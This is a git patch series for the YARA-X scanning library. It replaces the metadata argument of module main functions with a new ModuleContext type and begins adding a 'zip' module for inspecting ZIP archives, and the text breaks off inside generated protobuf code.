From c812241e9fd52b3528a470a605410cd5b7bde7b9 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 18 Jun 2026 16:32:13 +0200 Subject: [PATCH 01/25] feat: introduce `ModuleContext` for YARA modules Replaces the direct `_meta: Option` argument in module `main` functions with a `ModuleContext` parameter. This provides a more extensible and structured way for modules to access scan-related context and module-specific metadata. Modules can now retrieve their associated metadata via `ctx.get_module_metadata("module_name")`. This also includes a minor refactoring to use a `module_by_name` helper. --- docs/ModuleDeveloperGuide.md | 14 +++--- examples/custom-module/src/lib.rs | 2 +- lib/src/compiler/context.rs | 3 +- lib/src/compiler/mod.rs | 3 +- lib/src/modules/console.rs | 2 +- lib/src/modules/crx/mod.rs | 2 +- lib/src/modules/cuckoo/mod.rs | 7 ++- lib/src/modules/dex/mod.rs | 2 +- lib/src/modules/dotnet/mod.rs | 2 +- lib/src/modules/elf/mod.rs | 2 +- lib/src/modules/hash/mod.rs | 2 +- lib/src/modules/lnk/mod.rs | 2 +- lib/src/modules/macho/mod.rs | 2 +- lib/src/modules/magic/mod.rs | 2 +- lib/src/modules/math.rs | 2 +- lib/src/modules/mod.rs | 63 +++++++++++++++++++++------ lib/src/modules/pe/mod.rs | 2 +- lib/src/modules/string.rs | 2 +- lib/src/modules/test_proto2/mod.rs | 7 ++- lib/src/modules/test_proto3/mod.rs | 5 +-- lib/src/modules/time.rs | 2 +- lib/src/modules/vt/mod.rs | 5 +-- lib/src/scanner/mod.rs | 68 +++++++++++++++--------------- 23 files changed, 118 insertions(+), 85 deletions(-) diff --git a/docs/ModuleDeveloperGuide.md b/docs/ModuleDeveloperGuide.md index 45ce0279..6bbbf832 100644 --- a/docs/ModuleDeveloperGuide.md +++ b/docs/ModuleDeveloperGuide.md @@ -313,7 +313,7 @@ So, let's create our `lib/src/modules/text.rs` file: use crate::mods::prelude::*; use crate::modules::protos::text::*; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { let mut text_proto = Text::new(); // TODO: parse the data and populate text_proto. @@ -353,7 +353,7 @@ will be `crate::modules::protos::foobar` Next comes the module's main function and the module registration: ```rust -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { ... } @@ -361,8 +361,8 @@ register_module!("text", Text, main); ``` The module's main function is called for every file scanned by YARA. This -function receives a byte slice with the content of the file being scanned and an -optional byte slice with per-scan metadata, and it returns a `Result` containing the +function receives a mutable reference to a `ModuleContext` and a byte slice with +the content of the file being scanned. It returns a `Result` containing the `Text` structure that was generated from the `text.proto` file (or a `ModuleError`). Registering the module is as simple as calling the `register_module!` macro. @@ -379,7 +379,7 @@ use crate::modules::protos::text::*; use std::io; use std::io::BufRead; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { // Create an empty instance of the Text protobuf. let mut text_proto = Text::new(); @@ -1093,11 +1093,11 @@ contract as in built-in modules—it receives the scanned data, populates the protobuf, and returns it: ```rust -use yara_x::errors::ModuleError; +use yara_x::mods::prelude::*; fn foobar_main( + _ctx: &mut ModuleContext, data: &[u8], - _meta: Option<&[u8]>, ) -> Result { let mut out = Foobar::new(); out.count = Some(data.len() as u64); diff --git a/examples/custom-module/src/lib.rs b/examples/custom-module/src/lib.rs index 96cb211f..3629f3c6 100644 --- a/examples/custom-module/src/lib.rs +++ b/examples/custom-module/src/lib.rs @@ -19,8 +19,8 @@ pub mod proto { pub use proto::foobar::Foobar; fn foobar_main( + _ctx: &mut ModuleContext, data: &[u8], - _meta: Option<&[u8]>, ) -> Result { let mut out = Foobar::new(); out.count = Some(data.len() as u64); diff --git a/lib/src/compiler/context.rs b/lib/src/compiler/context.rs index 05cd2752..752020cc 100644 --- a/lib/src/compiler/context.rs +++ b/lib/src/compiler/context.rs @@ -127,8 +127,7 @@ impl<'src> CompileContext<'_, 'src> { // If the current symbol table is `None` it means that the // identifier is not a field or method of some structure. return if symbol_table.is_none() { - let module = crate::modules::registered_modules() - .find(|module| module.name() == ident.name); + let module = crate::modules::module_by_name(ident.name); // Build the error for the unknown identifier. let mut err = UnknownIdentifier::build( self.report_builder, diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index d7b070dd..9ea8294d 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -1913,8 +1913,7 @@ impl Compiler<'_> { fn c_import(&mut self, import: &Import) -> Result<(), CompileError> { let module_name = import.module_name; - let module = crate::modules::registered_modules() - .find(|m| m.name() == module_name); + let module = crate::modules::module_by_name(module_name); // Does a module with the given name actually exist? ... if module.is_none() { diff --git a/lib/src/modules/console.rs b/lib/src/modules/console.rs index 8697a884..5df1c2e8 100644 --- a/lib/src/modules/console.rs +++ b/lib/src/modules/console.rs @@ -3,7 +3,7 @@ use std::borrow::Cow; use crate::mods::prelude::*; use crate::modules::protos::console::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(Console::new()) } diff --git a/lib/src/modules/crx/mod.rs b/lib/src/modules/crx/mod.rs index 1d308b6c..56c67ede 100644 --- a/lib/src/modules/crx/mod.rs +++ b/lib/src/modules/crx/mod.rs @@ -18,7 +18,7 @@ thread_local!( const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { PERMHASH_CACHE.with(|cache| *cache.borrow_mut() = None); match parser::Crx::parse(data) { Ok(crx) => Ok(crx.into()), diff --git a/lib/src/modules/cuckoo/mod.rs b/lib/src/modules/cuckoo/mod.rs index 3b43139c..99176920 100644 --- a/lib/src/modules/cuckoo/mod.rs +++ b/lib/src/modules/cuckoo/mod.rs @@ -22,8 +22,11 @@ fn set_local(value: schema::CuckooJson) { }); } -fn main(_data: &[u8], meta: Option<&[u8]>) -> Result { - let meta = match meta { +fn main( + _ctx: &mut ModuleContext, + _data: &[u8], +) -> Result { + let meta = match _ctx.get_module_metadata("cuckoo") { None | Some([]) => { set_local(schema::CuckooJson::default()); return Ok(Cuckoo::new()); diff --git a/lib/src/modules/dex/mod.rs b/lib/src/modules/dex/mod.rs index afd72366..2876aadb 100644 --- a/lib/src/modules/dex/mod.rs +++ b/lib/src/modules/dex/mod.rs @@ -20,7 +20,7 @@ thread_local!( const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { CHECKSUM_CACHE.with(|cache| *cache.borrow_mut() = None); SIGNATURE_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/dotnet/mod.rs b/lib/src/modules/dotnet/mod.rs index 8581cc87..6366428f 100644 --- a/lib/src/modules/dotnet/mod.rs +++ b/lib/src/modules/dotnet/mod.rs @@ -7,7 +7,7 @@ use crate::modules::protos::dotnet::*; pub mod parser; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { match parser::Dotnet::parse(data) { Ok(dotnet) => Ok(dotnet.into()), Err(_) => { diff --git a/lib/src/modules/elf/mod.rs b/lib/src/modules/elf/mod.rs index 7319df84..24a001d8 100644 --- a/lib/src/modules/elf/mod.rs +++ b/lib/src/modules/elf/mod.rs @@ -26,7 +26,7 @@ thread_local!( static TLSH_CACHE: RefCell> = const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { IMPORT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); TLSH_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/hash/mod.rs b/lib/src/modules/hash/mod.rs index edc65e3c..60a7f7bf 100644 --- a/lib/src/modules/hash/mod.rs +++ b/lib/src/modules/hash/mod.rs @@ -29,7 +29,7 @@ thread_local!( RefCell::new(FxHashMap::default()); ); -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // With every scanned file the cache must be cleared. SHA256_CACHE.with(|cache| cache.borrow_mut().clear()); SHA1_CACHE.with(|cache| cache.borrow_mut().clear()); diff --git a/lib/src/modules/lnk/mod.rs b/lib/src/modules/lnk/mod.rs index d7e2dcff..def2894a 100644 --- a/lib/src/modules/lnk/mod.rs +++ b/lib/src/modules/lnk/mod.rs @@ -15,7 +15,7 @@ use crate::mods::prelude::*; use crate::modules::protos::lnk::*; pub mod parser; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { match parser::LnkParser::new().parse(data) { Ok(lnk) => Ok(lnk), Err(_) => { diff --git a/lib/src/modules/macho/mod.rs b/lib/src/modules/macho/mod.rs index a0ab4bd7..cd3b8c23 100644 --- a/lib/src/modules/macho/mod.rs +++ b/lib/src/modules/macho/mod.rs @@ -593,7 +593,7 @@ fn symhash(ctx: &mut ScanContext) -> Option>> { Some(Lowercase::>::new(digest)) } -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { DYLIB_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); ENTITLEMENT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); EXPORT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/magic/mod.rs b/lib/src/modules/magic/mod.rs index d67e60ae..80d5e647 100644 --- a/lib/src/modules/magic/mod.rs +++ b/lib/src/modules/magic/mod.rs @@ -27,7 +27,7 @@ thread_local! { static MIME_TYPE_CACHE: RefCell> = const { RefCell::new(None) }; } -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // With every scanned file the cache must be cleared. TYPE_CACHE.set(None); MIME_TYPE_CACHE.set(None); diff --git a/lib/src/modules/math.rs b/lib/src/modules/math.rs index 61ef6231..51864a0d 100644 --- a/lib/src/modules/math.rs +++ b/lib/src/modules/math.rs @@ -19,7 +19,7 @@ thread_local!( > = RefCell::new(FxHashMap::default()); ); -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { DISTRIBUTION_CACHE.with(|cache| cache.borrow_mut().clear()); // Nothing to do, but we have to return our protobuf diff --git a/lib/src/modules/mod.rs b/lib/src/modules/mod.rs index 0d7dab5b..67c96d54 100644 --- a/lib/src/modules/mod.rs +++ b/lib/src/modules/mod.rs @@ -1,6 +1,6 @@ use protobuf::MessageDyn; use protobuf::reflect::MessageDescriptor; - +use rustc_hash::FxHashMap; use thiserror::Error; pub mod protos { @@ -36,6 +36,29 @@ pub enum ModuleError { }, } +/// Context passed to the main function of YARA modules. +#[derive(Default)] +pub struct ModuleContext<'a> { + module_metadata: FxHashMap<&'static str, &'a [u8]>, +} + +impl<'a> ModuleContext<'a> { + /// Set the metadata associated to the module with the given name. + pub fn set_module_metadata( + &mut self, + module_name: &'static str, + metadata: &'a [u8], + ) { + self.module_metadata.insert(module_name, metadata); + } + + /// Returns the metadata explicitly provided to the module with the given + /// name, if any. + pub fn get_module_metadata(&self, module_name: &str) -> Option<&[u8]> { + self.module_metadata.get(module_name).copied() + } +} + /// The trait implemented by all registered modules. pub trait RegisteredModule: Send + Sync { /// Name used for the module in `import` statements (e.g. `"my_module"`). @@ -47,10 +70,10 @@ pub trait RegisteredModule: Send + Sync { /// Main function called every time YARA scans some data, before /// evaluating the rules. Set to `None` for data-only modules. - fn main_fn( + fn main_fn<'a>( &self, - data: &[u8], - meta: Option<&[u8]>, + ctx: &mut ModuleContext<'a>, + data: &'a [u8], ) -> Option, ModuleError>>; /// Rust module path of the submodule inside the external crate that @@ -62,8 +85,8 @@ pub trait RegisteredModule: Send + Sync { fn rust_module_name(&self) -> Option<&'static str>; } -/// Main function in a YARA module. -pub type ModuleMainFn = fn(&[u8], Option<&[u8]>) -> Result; +pub type ModuleMainFn = + for<'a> fn(&mut ModuleContext<'a>, &'a [u8]) -> Result; /// Description of a YARA module, generic over the type `T` returned by the /// main function. @@ -93,13 +116,13 @@ where T::descriptor() } - fn main_fn( + fn main_fn<'a>( &self, - data: &[u8], - meta: Option<&[u8]>, + ctx: &mut ModuleContext<'a>, + data: &'a [u8], ) -> Option, ModuleError>> { self.main_fn.map(|f| { - f(data, meta).map(|ok| Box::new(ok) as Box) + f(ctx, data).map(|ok| Box::new(ok) as Box) }) } @@ -154,6 +177,14 @@ pub(crate) fn registered_modules() inventory::iter::<&'static dyn RegisteredModule>().copied() } +/// Returns a registered module given its name. +#[inline] +pub(crate) fn module_by_name( + name: &str, +) -> Option<&'static dyn RegisteredModule> { + registered_modules().find(|m| m.name() == name) +} + pub mod mods { /*! Utility functions and structures that allow invoking YARA modules directly. @@ -297,7 +328,13 @@ pub mod mods { let module = super::registered_modules() .find(|m| m.root_descriptor().full_name() == proto_name)?; - module.main_fn(data, meta)?.ok() + let mut ctx = super::ModuleContext::default(); + + if let Some(m) = meta { + ctx.module_metadata.insert(module.name(), m); + } + + module.main_fn(&mut ctx, data)?.ok() } /// Invokes all YARA modules and returns the data produced by them. @@ -333,8 +370,7 @@ pub mod mods { /// Returns the definition of the module with the given name. pub fn module_definition(name: &str) -> Option { use std::rc::Rc; - super::registered_modules() - .find(|m| m.name() == name) + super::module_by_name(name) .map(|m| reflect::Struct::new(Rc::::from(m))) } @@ -343,6 +379,7 @@ pub mod mods { #[allow(missing_docs)] pub mod prelude { pub use crate::modules::Module; + pub use crate::modules::ModuleContext; pub use crate::modules::ModuleError; pub use crate::modules::RegisteredModule; pub use crate::register_module; diff --git a/lib/src/modules/pe/mod.rs b/lib/src/modules/pe/mod.rs index 142d1ad6..a9385a54 100644 --- a/lib/src/modules/pe/mod.rs +++ b/lib/src/modules/pe/mod.rs @@ -35,7 +35,7 @@ thread_local!( static CHECKSUM_CACHE: RefCell> = const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { IMPHASH_CACHE.with(|cache| *cache.borrow_mut() = None); CHECKSUM_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/string.rs b/lib/src/modules/string.rs index 9ae287d6..bf2235bf 100644 --- a/lib/src/modules/string.rs +++ b/lib/src/modules/string.rs @@ -1,7 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::string::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(String::new()) } diff --git a/lib/src/modules/test_proto2/mod.rs b/lib/src/modules/test_proto2/mod.rs index 5383f57b..41c5ca81 100644 --- a/lib/src/modules/test_proto2/mod.rs +++ b/lib/src/modules/test_proto2/mod.rs @@ -95,7 +95,10 @@ fn to_int(ctx: &ScanContext, string: RuntimeString) -> Option { string.parse::().ok() } -fn main(data: &[u8], meta: Option<&[u8]>) -> Result { +fn main( + ctx: &mut ModuleContext, + data: &[u8], +) -> Result { let mut test = TestProto2::new(); test.set_int32_zero(0); @@ -187,7 +190,7 @@ fn main(data: &[u8], meta: Option<&[u8]>) -> Result { test.set_timestamp(1748591440); - test.metadata = meta.map(Vec::from); + test.metadata = ctx.get_module_metadata("test_proto2").map(Vec::from); Ok(test) } diff --git a/lib/src/modules/test_proto3/mod.rs b/lib/src/modules/test_proto3/mod.rs index 2cbb3e4b..9e786768 100644 --- a/lib/src/modules/test_proto3/mod.rs +++ b/lib/src/modules/test_proto3/mod.rs @@ -1,10 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::test_proto3::TestProto3; -fn main( - _data: &[u8], - _meta: Option<&[u8]>, -) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { let mut test = TestProto3::new(); test.int32_zero = 0; diff --git a/lib/src/modules/time.rs b/lib/src/modules/time.rs index 4ce5eeca..a96a5140 100644 --- a/lib/src/modules/time.rs +++ b/lib/src/modules/time.rs @@ -1,7 +1,7 @@ use crate::mods::prelude::*; use crate::modules::protos::time::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(Time::new()) } diff --git a/lib/src/modules/vt/mod.rs b/lib/src/modules/vt/mod.rs index 4e1197f5..96603b10 100644 --- a/lib/src/modules/vt/mod.rs +++ b/lib/src/modules/vt/mod.rs @@ -49,10 +49,7 @@ static SUBDOMAIN: LazyLock = LazyLock::new(|| { Struct::enum_value_i64(&Permutation::SUBDOMAIN.descriptor()).unwrap() }); -fn main( - _data: &[u8], - _meta: Option<&[u8]>, -) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { Ok(LiveHuntData::new()) } diff --git a/lib/src/scanner/mod.rs b/lib/src/scanner/mod.rs index 3d5d346a..828cd8e2 100644 --- a/lib/src/scanner/mod.rs +++ b/lib/src/scanner/mod.rs @@ -25,7 +25,9 @@ use thiserror::Error; use crate::Variable; use crate::compiler::{RuleId, Rules}; use crate::models::Rule; -use crate::modules::{ModuleError, RegisteredModule}; +use crate::modules::{ + ModuleContext, ModuleError, RegisteredModule, module_by_name, +}; pub(crate) use crate::scanner::context::RuntimeObject; pub(crate) use crate::scanner::context::RuntimeObjectHandle; pub(crate) use crate::scanner::context::ScanContext; @@ -487,23 +489,12 @@ impl<'r> Scanner<'r> { // Try to find the module by name first, if not found, then try // to find a module where the fully-qualified name for its protobuf // message matches the `name` arguments. - let descriptor = crate::modules::registered_modules() - .find_map(|module| { - if module.name() == name { - Some(module.root_descriptor()) - } else { - None - } - }) + let descriptor = module_by_name(name) + .map(|module| module.root_descriptor()) .or_else(|| { - crate::modules::registered_modules().find_map(|module| { - let descriptor = module.root_descriptor(); - if descriptor.full_name() == name { - Some(descriptor) - } else { - None - } - }) + crate::modules::registered_modules() + .find(|module| module.root_descriptor().full_name() == name) + .map(|module| module.root_descriptor()) }); if descriptor.is_none() { @@ -620,13 +611,33 @@ impl<'r> Scanner<'r> { // Set the global variable `filesize` to the size of the scanned data. ctx.set_filesize(data.len() as i64); + // Create the context that will be passed to the main function of each + // module. + let mut mod_ctx = ModuleContext::default(); + + // For each item in options.module_metadata, check if the module name + // is actually a registered module, and then add the corresponding + // metadata to mod_ctx. + for (module, meta) in options + .map(|options| options.module_metadata) + .into_iter() + .flatten() + .filter_map(|(name, meta)| Some((module_by_name(name)?, meta))) + { + mod_ctx.set_module_metadata(module.name(), meta); + } + // Indicate that the scanner is currently scanning the given data. ctx.scan_state = ScanState::ScanningData(data); + let data = match &ctx.scan_state { + ScanState::ScanningData(data) => data.as_ref(), + _ => unreachable!(), + }; + for module_name in ctx.compiled_rules.imports() { // Look up the module in the module registry. - let module = crate::modules::registered_modules() - .find(|module| module.name() == module_name) + let module = module_by_name(module_name) .unwrap_or_else(|| panic!("module `{module_name}` not found")); let module_root_descriptor = module.root_descriptor(); @@ -642,14 +653,7 @@ impl<'r> Scanner<'r> { { module_output = Some(output); } else { - let meta: Option<&'opts [u8]> = - options.as_ref().and_then(|options| { - options.module_metadata.get(module_name).copied() - }); - - if let Some(main_res) = - module.main_fn(ctx.scanned_data().unwrap(), meta) - { + if let Some(main_res) = module.main_fn(&mut mod_ctx, data) { module_output = Some(main_res.map_err(|err| { ScanError::ModuleError { module: module_name.to_string(), @@ -869,14 +873,8 @@ impl<'a, 'r> ScanResults<'a, 'r> { &self, module_name: &str, ) -> Option<&'a dyn MessageDyn> { - let module_descriptor = crate::modules::registered_modules() - .find_map(|m| { - if m.name() == module_name { - Some(m.root_descriptor()) - } else { - None - } - })?; + let module_descriptor = + module_by_name(module_name).map(|m| m.root_descriptor())?; let module_output = self .ctx .module_outputs From 95028135094a00505353794f219ecb56a3c2c41a Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 18 Jun 2026 16:33:11 +0200 Subject: [PATCH 02/25] style: run `cargo fmt`. --- lib/src/scanner/mod.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/src/scanner/mod.rs b/lib/src/scanner/mod.rs index 828cd8e2..9de2fb89 100644 --- a/lib/src/scanner/mod.rs +++ b/lib/src/scanner/mod.rs @@ -493,7 +493,9 @@ impl<'r> Scanner<'r> { .map(|module| module.root_descriptor()) .or_else(|| { crate::modules::registered_modules() - .find(|module| module.root_descriptor().full_name() == name) + .find(|module| { + module.root_descriptor().full_name() == name + }) .map(|module| module.root_descriptor()) }); From e050078c77cc71c3d97f69426852df2c7cd9026b Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 18 Jun 2026 17:12:00 +0200 Subject: [PATCH 03/25] feat: introduce 'zip' module for inspecting ZIP archives The new `zip` module enables YARA rules to extract metadata from ZIP archives, such as filenames, compression methods, and sizes of individual entries. This enhances YARA's ability to analyze compressed files by providing structured access to their contents. --- Cargo.lock | 7 + Cargo.toml | 1 + lib/Cargo.toml | 5 + lib/src/modules/modules.rs | 4 +- lib/src/modules/protos/generated/mod.rs | 1 + lib/src/modules/protos/generated/zip.rs | 687 ++++++++++++++++++ lib/src/modules/protos/zip.proto | 43 ++ lib/src/modules/zip/mod.rs | 68 ++ .../tests/testdata/stored_and_deflated.in.zip | Bin 0 -> 365 bytes .../tests/testdata/stored_and_deflated.out | 10 + .../tests/testdata/completion10.response.json | 5 + .../tests/testdata/completion11.response.json | 5 + .../tests/testdata/completion14.response.json | 19 + .../tests/testdata/completion15.response.json | 19 + .../tests/testdata/completion2.response.json | 19 + 15 files changed, 892 insertions(+), 1 deletion(-) create mode 100644 lib/src/modules/protos/generated/zip.rs create mode 100644 lib/src/modules/protos/zip.proto create mode 100644 lib/src/modules/zip/mod.rs create mode 100644 lib/src/modules/zip/tests/testdata/stored_and_deflated.in.zip create mode 100644 lib/src/modules/zip/tests/testdata/stored_and_deflated.out diff --git a/Cargo.lock b/Cargo.lock index 7b5a43f4..b42ae060 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3346,6 +3346,12 @@ dependencies = [ "serde_json", ] +[[package]] +name = "tinyzip" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6847a2bf223d67c916a25d5fb8d197fc1c7c3205421e05d50f3373e092034146" + [[package]] name = "tokio" version = "1.48.0" @@ -4416,6 +4422,7 @@ dependencies = [ "smallvec", "strum_macros", "thiserror 2.0.18", + "tinyzip", "uuid", "walrus", "wasm-bindgen", diff --git a/Cargo.toml b/Cargo.toml index 131036c3..c9f56498 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -112,6 +112,7 @@ yara-x-macros = { path = "macros", version = "1.18.0" } yara-x-parser = { path = "parser", version = "1.18.0" } yara-x-proto = { path = "proto", version = "1.18.0"} zip = { version = "8.2.0", default-features = false } +tinyzip = "0.4.0" simd-adler32 = "0.3.9" simd_cesu8 = "1.1.1" assert-call = "0.1.2" diff --git a/lib/Cargo.toml b/lib/Cargo.toml index a0190d4b..7f4562e1 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -234,6 +234,9 @@ vt-module = [ "dep:psl", ] +# The `zip` module provides container file extraction capabilities. +zip-module = ["dep:tinyzip"] + # Enables all the default modules. default-modules = [ "console-module", @@ -252,6 +255,7 @@ default-modules = [ "test_proto2-module", "test_proto3-module", "vt-module", + "zip-module", ] # Features that are enabled by default. @@ -317,6 +321,7 @@ x509-parser = { workspace = true, optional = true } yara-x-macros = { workspace = true } yara-x-parser = { workspace = true, features = ["serde"] } zip = { workspace = true, optional = true, features = ["deflate"] } +tinyzip = { workspace = true, optional = true } simd-adler32 = { workspace = true, optional = true } simd_cesu8 = { workspace = true, optional = true } diff --git a/lib/src/modules/modules.rs b/lib/src/modules/modules.rs index d09bf402..76a1d162 100644 --- a/lib/src/modules/modules.rs +++ b/lib/src/modules/modules.rs @@ -32,4 +32,6 @@ mod test_proto3; #[cfg(feature = "time-module")] mod time; #[cfg(feature = "vt-module")] -mod vt; \ No newline at end of file +mod vt; +#[cfg(feature = "zip-module")] +mod zip; \ No newline at end of file diff --git a/lib/src/modules/protos/generated/mod.rs b/lib/src/modules/protos/generated/mod.rs index 3aa0693f..8cee504b 100644 --- a/lib/src/modules/protos/generated/mod.rs +++ b/lib/src/modules/protos/generated/mod.rs @@ -28,3 +28,4 @@ pub mod time; pub mod titan; pub mod vtnet; pub mod yara; +pub mod zip; diff --git a/lib/src/modules/protos/generated/zip.rs b/lib/src/modules/protos/generated/zip.rs new file mode 100644 index 00000000..8e9d495b --- /dev/null +++ b/lib/src/modules/protos/generated/zip.rs @@ -0,0 +1,687 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `zip.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:zip.Entry) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Entry { + // message fields + // @@protoc_insertion_point(field:zip.Entry.file_path) + pub file_path: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:zip.Entry.compression) + pub compression: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:zip.Entry.uncompressed_size) + pub uncompressed_size: ::std::option::Option, + // @@protoc_insertion_point(field:zip.Entry.compressed_size) + pub compressed_size: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:zip.Entry.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Entry { + fn default() -> &'a Entry { + ::default_instance() + } +} + +impl Entry { + pub fn new() -> Entry { + ::std::default::Default::default() + } + + // optional string file_path = 1; + + pub fn file_path(&self) -> &str { + match self.file_path.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_file_path(&mut self) { + self.file_path = ::std::option::Option::None; + } + + pub fn has_file_path(&self) -> bool { + self.file_path.is_some() + } + + // Param is passed by value, moved + pub fn set_file_path(&mut self, v: ::std::string::String) { + self.file_path = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_file_path(&mut self) -> &mut ::std::string::String { + if self.file_path.is_none() { + self.file_path = ::std::option::Option::Some(::std::string::String::new()); + } + self.file_path.as_mut().unwrap() + } + + // Take field + pub fn take_file_path(&mut self) -> ::std::string::String { + self.file_path.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional .zip.Compression compression = 2; + + pub fn compression(&self) -> Compression { + match self.compression { + Some(e) => e.enum_value_or(Compression::STORED), + None => Compression::STORED, + } + } + + pub fn clear_compression(&mut self) { + self.compression = ::std::option::Option::None; + } + + pub fn has_compression(&self) -> bool { + self.compression.is_some() + } + + // Param is passed by value, moved + pub fn set_compression(&mut self, v: Compression) { + self.compression = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional uint64 uncompressed_size = 3; + + pub fn uncompressed_size(&self) -> u64 { + self.uncompressed_size.unwrap_or(0) + } + + pub fn clear_uncompressed_size(&mut self) { + self.uncompressed_size = ::std::option::Option::None; + } + + pub fn has_uncompressed_size(&self) -> bool { + self.uncompressed_size.is_some() + } + + // Param is passed by value, moved + pub fn set_uncompressed_size(&mut self, v: u64) { + self.uncompressed_size = ::std::option::Option::Some(v); + } + + // optional uint64 compressed_size = 4; + + pub fn compressed_size(&self) -> u64 { + self.compressed_size.unwrap_or(0) + } + + pub fn clear_compressed_size(&mut self) { + self.compressed_size = ::std::option::Option::None; + } + + pub fn has_compressed_size(&self) -> bool { + self.compressed_size.is_some() + } + + // Param is passed by value, moved + pub fn set_compressed_size(&mut self, v: u64) { + self.compressed_size = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(4); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "file_path", + |m: &Entry| { &m.file_path }, + |m: &mut Entry| { &mut m.file_path }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "compression", + |m: &Entry| { &m.compression }, + |m: &mut Entry| { &mut m.compression }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "uncompressed_size", + |m: &Entry| { &m.uncompressed_size }, + |m: &mut Entry| { &mut m.uncompressed_size }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "compressed_size", + |m: &Entry| { &m.compressed_size }, + |m: &mut Entry| { &mut m.compressed_size }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Entry", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Entry { + const NAME: &'static str = "Entry"; + + fn is_initialized(&self) -> bool { + true + 